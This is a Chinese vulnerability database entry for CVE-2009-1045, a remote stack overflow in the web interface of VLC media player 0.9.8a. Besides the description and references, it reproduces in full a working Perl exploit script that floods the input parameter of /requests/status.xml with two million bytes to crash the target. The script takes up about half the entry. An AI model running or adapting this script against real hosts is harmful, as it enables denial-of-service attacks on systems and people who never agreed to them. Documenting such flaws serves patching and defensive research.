Videolan VLC媒体播放器Web界面input参数远程栈溢出漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1117478 漏洞类型 输入验证
发布时间 2009-03-16 更新时间 2009-03-30
CVE编号 CVE-2009-1045 CNNVD-ID CNNVD-200903-376
漏洞平台 Windows CVSS评分 5.0
|漏洞来源
https://www.exploit-db.com/exploits/8213
https://www.securityfocus.com/bid/34126
https://cxsecurity.com/issue/WLB-2009030220
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200903-376
|漏洞详情
VideoLANVLCmediaplayer是法国VideoLAN组织开发的一款免费、开源的跨平台多媒体播放器(也是一个多媒体框架)。该产品支持播放多种介质(文件、光盘等)、多种音视频格式(WMV,MP3等)等。VLC媒体播放器的Web界面没有正确地验证用户所提交的input参数。如果远程攻击者提交了恶意的HTTP请求的话,就可以触发栈溢出,导致拒绝服务或执行任意代码。
|漏洞EXP
#!/usr/bin/perl

########################################################
## VLC 0.9.8a Web UI Remote Stack Overflow (DoS) by TheLeader
## GreetZ: forums.hacking.org.il
## TiP oF TEh DaY: Rock on! =]
########################################################

use IO::Socket;

my $host = shift || 'localhost'; # Target host
my $port = shift || 8080; # Target port. Default port = 8080

#Note: for some reason, A x 2070785 = terminate without crash;
my $req = "GET /requests/status.xml?command=in_play&input=" . "A" x 2000000 . " HTTP/1.1\r\n";
$req .= "Host: $host:$port\r\n";
$req .= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; he; rv:1.9.0.7) Gecko/2009021910 Firefox/3.0.7 (.NET CLR 3.5.30729)\r\n";
$req .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
$req .= "Accept-Language: he,en-US;q=0.7,en;q=0.3\r\n";
$req .= "Accept-Encoding: gzip,deflate\r\n";
$req .= "Accept-Charset: windows-1255,utf-8;q=0.7,*;q=0.7\r\n";
$req .= "Keep-Alive: 300\r\n";
$req .= "Connection: keep-alive\r\n";
$req .= "Referer: http://$host:$port/\r\n\r\n";

print "\nConnecting to $host on port $port\n";

my $sock = new IO::Socket::INET( PeerAddr => $host, PeerPort => $port, Proto => 'tcp');
$sock or die "Cannot connect to server: $!";
print "Sending HTTP request..\n";
print $sock $req;
print "Exploited. Target should be DoSed by now :)\n";

close $sock;

# milw0rm.com [2009-03-16]
|受影响的产品
VideoLAN VLC media player 0.9.8a
|参考资料

来源:XF
名称:vlcmediaplayer-web-status-bo(49249)
链接:http://xforce.iss.net/xforce/xfdb/49249
来源:BID
名称:34126
链接:http://www.securityfocus.com/bid/34126
来源:MLIST
名称:[oss-security]20090317CVErequest--firefox,vlc,WeeChat
链接:http://www.openwall.com/lists/oss-security/2009/03/17/4
来源:MILW0RM
名称:8213
链接:http://www.milw0rm.com/exploits/8213
来源:MISC
链接:http://bugs.gentoo.org/show_bug.cgi?id=262708